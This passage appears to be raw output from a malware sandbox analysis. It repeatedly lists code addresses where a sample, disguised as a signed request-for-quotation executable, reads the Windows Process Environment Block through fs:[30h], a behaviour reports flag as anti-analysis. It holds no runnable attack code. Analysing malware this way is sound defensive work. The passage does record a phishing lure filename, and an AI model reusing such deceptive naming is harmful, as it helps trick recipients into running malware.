Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00ADB2E8 mov eax, dword ptr fs:[00000030h]	10_2_00ADB2E8
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00ADB2E8 mov eax, dword ptr fs:[00000030h]	10_2_00ADB2E8
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A15AC0 mov eax, dword ptr fs:[00000030h]	10_2_00A15AC0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A15AC0 mov eax, dword ptr fs:[00000030h]	10_2_00A15AC0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A15AC0 mov eax, dword ptr fs:[00000030h]	10_2_00A15AC0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A13ACA mov eax, dword ptr fs:[00000030h]	10_2_00A13ACA
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A42ACB mov eax, dword ptr fs:[00000030h]	10_2_00A42ACB
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AE8ADD mov eax, dword ptr fs:[00000030h]	10_2_00AE8ADD
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A112D4 mov eax, dword ptr fs:[00000030h]	10_2_00A112D4
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A14A20 mov eax, dword ptr fs:[00000030h]	10_2_00A14A20
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A14A20 mov eax, dword ptr fs:[00000030h]	10_2_00A14A20
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD1229 mov eax, dword ptr fs:[00000030h]	10_2_00AD1229
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A54A2C mov eax, dword ptr fs:[00000030h]	10_2_00A54A2C
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A54A2C mov eax, dword ptr fs:[00000030h]	10_2_00A54A2C
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3A229 mov eax, dword ptr fs:[00000030h]	10_2_00A3A229
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3A229 mov eax, dword ptr fs:[00000030h]	10_2_00A3A229
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3A229 mov eax, dword ptr fs:[00000030h]	10_2_00A3A229
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3A229 mov eax, dword ptr fs:[00000030h]	10_2_00A3A229
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3A229 mov eax, dword ptr fs:[00000030h]	10_2_00A3A229
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3A229 mov eax, dword ptr fs:[00000030h]	10_2_00A3A229
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3A229 mov eax, dword ptr fs:[00000030h]	10_2_00A3A229
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3A229 mov eax, dword ptr fs:[00000030h]	10_2_00A3A229
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3A229 mov eax, dword ptr fs:[00000030h]	10_2_00A3A229
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3B236 mov eax, dword ptr fs:[00000030h]	10_2_00A3B236
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3B236 mov eax, dword ptr fs:[00000030h]	10_2_00A3B236
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3B236 mov eax, dword ptr fs:[00000030h]	10_2_00A3B236
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3B236 mov eax, dword ptr fs:[00000030h]	10_2_00A3B236
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3B236 mov eax, dword ptr fs:[00000030h]	10_2_00A3B236
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3B236 mov eax, dword ptr fs:[00000030h]	10_2_00A3B236
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A18239 mov eax, dword ptr fs:[00000030h]	10_2_00A18239
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A18239 mov eax, dword ptr fs:[00000030h]	10_2_00A18239
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A18239 mov eax, dword ptr fs:[00000030h]	10_2_00A18239
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A2BA00 mov eax, dword ptr fs:[00000030h]	10_2_00A2BA00
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A2BA00 mov eax, dword ptr fs:[00000030h]	10_2_00A2BA00
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A2BA00 mov eax, dword ptr fs:[00000030h]	10_2_00A2BA00
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A2BA00 mov ecx, dword ptr fs:[00000030h]	10_2_00A2BA00
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A2BA00 mov eax, dword ptr fs:[00000030h]	10_2_00A2BA00
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A2BA00 mov eax, dword ptr fs:[00000030h]	10_2_00A2BA00
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A2BA00 mov eax, dword ptr fs:[00000030h]	10_2_00A2BA00
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A2BA00 mov eax, dword ptr fs:[00000030h]	10_2_00A2BA00
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A2BA00 mov eax, dword ptr fs:[00000030h]	10_2_00A2BA00
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A2BA00 mov eax, dword ptr fs:[00000030h]	10_2_00A2BA00
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A2BA00 mov eax, dword ptr fs:[00000030h]	10_2_00A2BA00
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A2BA00 mov eax, dword ptr fs:[00000030h]	10_2_00A2BA00
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A2BA00 mov eax, dword ptr fs:[00000030h]	10_2_00A2BA00
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A2BA00 mov eax, dword ptr fs:[00000030h]	10_2_00A2BA00
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A28A0A mov eax, dword ptr fs:[00000030h]	10_2_00A28A0A
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A15210 mov eax, dword ptr fs:[00000030h]	10_2_00A15210
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A15210 mov ecx, dword ptr fs:[00000030h]	10_2_00A15210
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A15210 mov eax, dword ptr fs:[00000030h]	10_2_00A15210
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A15210 mov eax, dword ptr fs:[00000030h]	10_2_00A15210
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A1AA16 mov eax, dword ptr fs:[00000030h]	10_2_00A1AA16
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A1AA16 mov eax, dword ptr fs:[00000030h]	10_2_00A1AA16
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00ADAA16 mov eax, dword ptr fs:[00000030h]	10_2_00ADAA16
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00ADAA16 mov eax, dword ptr fs:[00000030h]	10_2_00ADAA16
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A33A1C mov eax, dword ptr fs:[00000030h]	10_2_00A33A1C
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00ACB260 mov eax, dword ptr fs:[00000030h]	10_2_00ACB260
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00ACB260 mov eax, dword ptr fs:[00000030h]	10_2_00ACB260
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AE8A62 mov eax, dword ptr fs:[00000030h]	10_2_00AE8A62
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A55A69 mov eax, dword ptr fs:[00000030h]	10_2_00A55A69
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A55A69 mov eax, dword ptr fs:[00000030h]	10_2_00A55A69
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A55A69 mov eax, dword ptr fs:[00000030h]	10_2_00A55A69
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A5927A mov eax, dword ptr fs:[00000030h]	10_2_00A5927A
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A19240 mov eax, dword ptr fs:[00000030h]	10_2_00A19240
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A19240 mov eax, dword ptr fs:[00000030h]	10_2_00A19240
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A19240 mov eax, dword ptr fs:[00000030h]	10_2_00A19240
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A19240 mov eax, dword ptr fs:[00000030h]	10_2_00A19240
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD5A4F mov eax, dword ptr fs:[00000030h]	10_2_00AD5A4F
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD5A4F mov eax, dword ptr fs:[00000030h]	10_2_00AD5A4F
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD5A4F mov eax, dword ptr fs:[00000030h]	10_2_00AD5A4F
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD5A4F mov eax, dword ptr fs:[00000030h]	10_2_00AD5A4F
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD1A5F mov eax, dword ptr fs:[00000030h]	10_2_00AD1A5F
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00ADEA55 mov eax, dword ptr fs:[00000030h]	10_2_00ADEA55
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AA4257 mov eax, dword ptr fs:[00000030h]	10_2_00AA4257
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD1BA8 mov eax, dword ptr fs:[00000030h]	10_2_00AD1BA8
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A44BAD mov eax, dword ptr fs:[00000030h]	10_2_00A44BAD
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A44BAD mov eax, dword ptr fs:[00000030h]	10_2_00A44BAD
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A44BAD mov eax, dword ptr fs:[00000030h]	10_2_00A44BAD
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AE5BA5 mov eax, dword ptr fs:[00000030h]	10_2_00AE5BA5
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AE9BBE mov eax, dword ptr fs:[00000030h]	10_2_00AE9BBE
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AE8BB6 mov eax, dword ptr fs:[00000030h]	10_2_00AE8BB6
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00ABEB8A mov ecx, dword ptr fs:[00000030h]	10_2_00ABEB8A
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00ABEB8A mov eax, dword ptr fs:[00000030h]	10_2_00ABEB8A
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00ABEB8A mov eax, dword ptr fs:[00000030h]	10_2_00ABEB8A
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00ABEB8A mov eax, dword ptr fs:[00000030h]	10_2_00ABEB8A
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD138A mov eax, dword ptr fs:[00000030h]	10_2_00AD138A
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00ACD380 mov ecx, dword ptr fs:[00000030h]	10_2_00ACD380
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A21B8F mov eax, dword ptr fs:[00000030h]	10_2_00A21B8F
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A21B8F mov eax, dword ptr fs:[00000030h]	10_2_00A21B8F
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A4138B mov eax, dword ptr fs:[00000030h]	10_2_00A4138B
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A4138B mov eax, dword ptr fs:[00000030h]	10_2_00A4138B
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A4138B mov eax, dword ptr fs:[00000030h]	10_2_00A4138B
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A42397 mov eax, dword ptr fs:[00000030h]	10_2_00A42397
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A4B390 mov eax, dword ptr fs:[00000030h]	10_2_00A4B390
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A14B94 mov edi, dword ptr fs:[00000030h]	10_2_00A14B94
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3EB9A mov eax, dword ptr fs:[00000030h]	10_2_00A3EB9A
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3EB9A mov eax, dword ptr fs:[00000030h]	10_2_00A3EB9A
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A403E2 mov eax, dword ptr fs:[00000030h]	10_2_00A403E2
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A403E2 mov eax, dword ptr fs:[00000030h]	10_2_00A403E2
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A403E2 mov eax, dword ptr fs:[00000030h]	10_2_00A403E2
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A403E2 mov eax, dword ptr fs:[00000030h]	10_2_00A403E2
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A403E2 mov eax, dword ptr fs:[00000030h]	10_2_00A403E2
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A403E2 mov eax, dword ptr fs:[00000030h]	10_2_00A403E2
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AB6BEC mov eax, dword ptr fs:[00000030h]	10_2_00AB6BEC
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AB6BEC mov eax, dword ptr fs:[00000030h]	10_2_00AB6BEC
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AB6BEC mov eax, dword ptr fs:[00000030h]	10_2_00AB6BEC
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A11BE9 mov eax, dword ptr fs:[00000030h]	10_2_00A11BE9
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3DBE9 mov eax, dword ptr fs:[00000030h]	10_2_00A3DBE9
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AC23E3 mov ecx, dword ptr fs:[00000030h]	10_2_00AC23E3
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AC23E3 mov ecx, dword ptr fs:[00000030h]	10_2_00AC23E3
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AC23E3 mov eax, dword ptr fs:[00000030h]	10_2_00AC23E3
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A453C5 mov eax, dword ptr fs:[00000030h]	10_2_00A453C5
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A953CA mov eax, dword ptr fs:[00000030h]	10_2_00A953CA
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A953CA mov eax, dword ptr fs:[00000030h]	10_2_00A953CA
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3A309 mov eax, dword ptr fs:[00000030h]	10_2_00A3A309
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3A309 mov eax, dword ptr fs:[00000030h]	10_2_00A3A309
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3A309 mov eax, dword ptr fs:[00000030h]	10_2_00A3A309
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3A309 mov eax, dword ptr fs:[00000030h]	10_2_00A3A309
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3A309 mov eax, dword ptr fs:[00000030h]	10_2_00A3A309
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3A309 mov eax, dword ptr fs:[00000030h]	10_2_00A3A309
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3A309 mov eax, dword ptr fs:[00000030h]	10_2_00A3A309
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3A309 mov eax, dword ptr fs:[00000030h]	10_2_00A3A309
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3A309 mov eax, dword ptr fs:[00000030h]	10_2_00A3A309
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3A309 mov eax, dword ptr fs:[00000030h]	10_2_00A3A309
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3A309 mov eax, dword ptr fs:[00000030h]	10_2_00A3A309
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3A309 mov eax, dword ptr fs:[00000030h]	10_2_00A3A309
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3A309 mov eax, dword ptr fs:[00000030h]	10_2_00A3A309
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3A309 mov eax, dword ptr fs:[00000030h]	10_2_00A3A309
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3A309 mov eax, dword ptr fs:[00000030h]	10_2_00A3A309
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3A309 mov eax, dword ptr fs:[00000030h]	10_2_00A3A309
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3A309 mov eax, dword ptr fs:[00000030h]	10_2_00A3A309
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3A309 mov eax, dword ptr fs:[00000030h]	10_2_00A3A309
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3A309 mov eax, dword ptr fs:[00000030h]	10_2_00A3A309
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3A309 mov eax, dword ptr fs:[00000030h]	10_2_00A3A309
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3A309 mov eax, dword ptr fs:[00000030h]	10_2_00A3A309
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD131B mov eax, dword ptr fs:[00000030h]	10_2_00AD131B
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A1DB60 mov ecx, dword ptr fs:[00000030h]	10_2_00A1DB60
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AA6365 mov eax, dword ptr fs:[00000030h]	10_2_00AA6365
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AA6365 mov eax, dword ptr fs:[00000030h]	10_2_00AA6365
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AA6365 mov eax, dword ptr fs:[00000030h]	10_2_00AA6365
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A17B70 mov eax, dword ptr fs:[00000030h]	10_2_00A17B70
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A2F370 mov eax, dword ptr fs:[00000030h]	10_2_00A2F370
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A2F370 mov eax, dword ptr fs:[00000030h]	10_2_00A2F370
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A2F370 mov eax, dword ptr fs:[00000030h]	10_2_00A2F370
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A43B7A mov eax, dword ptr fs:[00000030h]	10_2_00A43B7A
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A43B7A mov eax, dword ptr fs:[00000030h]	10_2_00A43B7A
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A1DB40 mov eax, dword ptr fs:[00000030h]	10_2_00A1DB40
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AE8B58 mov eax, dword ptr fs:[00000030h]	10_2_00AE8B58
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A1F358 mov eax, dword ptr fs:[00000030h]	10_2_00A1F358
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A43B5A mov eax, dword ptr fs:[00000030h]	10_2_00A43B5A
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A43B5A mov eax, dword ptr fs:[00000030h]	10_2_00A43B5A
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A43B5A mov eax, dword ptr fs:[00000030h]	10_2_00A43B5A
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A43B5A mov eax, dword ptr fs:[00000030h]	10_2_00A43B5A
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AA34A0 mov eax, dword ptr fs:[00000030h]	10_2_00AA34A0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AA34A0 mov eax, dword ptr fs:[00000030h]	10_2_00AA34A0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AA34A0 mov eax, dword ptr fs:[00000030h]	10_2_00AA34A0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A214A9 mov eax, dword ptr fs:[00000030h]	10_2_00A214A9
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A214A9 mov ecx, dword ptr fs:[00000030h]	10_2_00A214A9
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A14CB0 mov eax, dword ptr fs:[00000030h]	10_2_00A14CB0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A234B1 mov eax, dword ptr fs:[00000030h]	10_2_00A234B1
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A234B1 mov eax, dword ptr fs:[00000030h]	10_2_00A234B1
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A4D4B0 mov eax, dword ptr fs:[00000030h]	10_2_00A4D4B0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AE9CB3 mov eax, dword ptr fs:[00000030h]	10_2_00AE9CB3
